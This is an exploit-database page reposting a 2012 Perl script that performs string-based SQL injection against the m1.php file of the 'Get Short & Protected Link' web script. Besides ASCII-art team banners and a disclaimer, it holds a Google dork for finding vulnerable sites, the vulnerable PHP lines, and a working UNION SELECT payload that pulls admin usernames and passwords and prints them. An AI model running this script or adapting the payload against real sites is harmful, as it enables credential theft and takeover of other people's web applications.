Lucene search
+L

Get Short & Protected Link Remote String Based SQLi (perl)

🗓️ 07 Oct 2012 00:00:00Reported by Caddy-DzType 
zdt
 zdt
🔗 0day.today👁 21 Views

Get Short & Protected Link Remote String Based SQL Injection (perl

Code
#!/usr/bin/perl -w
#
# Title : Get Short Protect Link Remote String Based SQLi (perl)
# Author : Caddy-Dz
# Facebook Page: http://www.facebook.com/Algerian.Cyber.Army
# E-mail: islam_babia[at]hotmail.com
# Category:: WebApps
# Security Risk : High
# Download : http://www.traidnt.net/vb/attachments/424521d1257160426-links.zip
# Dork : inurl:m1.php?id
##
#
# NOte ! : This exploit is not running in some websites because its vulnerable to time based SQLi , This Exploit is running for String Based SQLi !!
#
# Greets : 1337day Team , Exploit-ID Team , Algerian Cyber Army Team , KedAns-Dz , Kalashincov3
# .. Kha&mix , King Of Pirates , xDZx-Team ... and all algerian hackers .
#
# this was written for educational purpose only. use it at your own risk.
# author will be not responsible for any damage caused! user assumes all responsibility 
# intended for authorized web application pentesting only!
#
# 
#
# // Vulnerability : m1.php 
# // Ligne 86-95
#
#  $select = "SELECT * FROM `data` WHERE `id`='$_GET[id]'";
#  $query = mysql_query($select);
#  while ($fetch = mysql_fetch_array($query)) {
#  $id = $fetch['id'];
#  $url = $fetch['url'];
#  $title = $fetch['title'];
#  $size = $fetch['size'];
#  $author = $fetch['author'];}
# 




use HTTP::Request;
use LWP::UserAgent;
 
my $target = $ARGV[0];
my $file_vuln = "/m1.php?id=-1'";
my $sql_query = '+union+select+1,group_concat(0x5b2a5d,name,0x3a,pass,0x5b2a5d),3,4,5+from+admins--+';

print "\n************************************************************************\n";
print "\n1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0\n";
print "\0     _                   __           __       __                     1\n";
print "\1   /' \            __  /'__`\        /\ \__  /'__`\                   0\n";
print "\0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1\n";
print "\1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0\n";
print "\0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1\n";
print "\1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0\n";
print "\0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1\n";
print "\1                  \ \____/ >> Exploit database separated by exploit   0\n";
print "\0                   \/___/          type (local, remote, DoS, etc.)    1\n";
print "\1                                                                      1\n";
print "\0  [+] Site            : Inj3ct0r.com                                  0\n";
print "\1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1\n";
print "\0                                                                      0\n";
print "\1                    #######################################           1\n";
print "\0                    I'm Caddy-Dz member from Inj3ct0r Team            1\n";
print "\1                    #######################################           0\n";
print "\0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1\n";
print "\n[x]===============================================[x]\n";
print "[x]  Get Short Protect Link Remote String Based SQLi [x]\n";
print "[x]===============================================[x]\n\n";
print "[*] usage : perl exploit.pl target.com \n";

my $exploit = "http://".$target.$file_vuln.$sql_query;
 
my $request   = HTTP::Request->new(GET=>$exploit);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
if ($response->is_success) {
my $res   = $response->content;
if ($res =~ m/[*](.*):(.*)[*]/g) {
my ($username,$password) = ($1,$2);
print "[+] $username:$password \n\n";
}
else { print "[-] Error, Fail to get admin login.\n\n"; }
}
else { print "[-] Error, ".$response->status_line."\n\n"; 
}



#  0day.today [2018-03-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation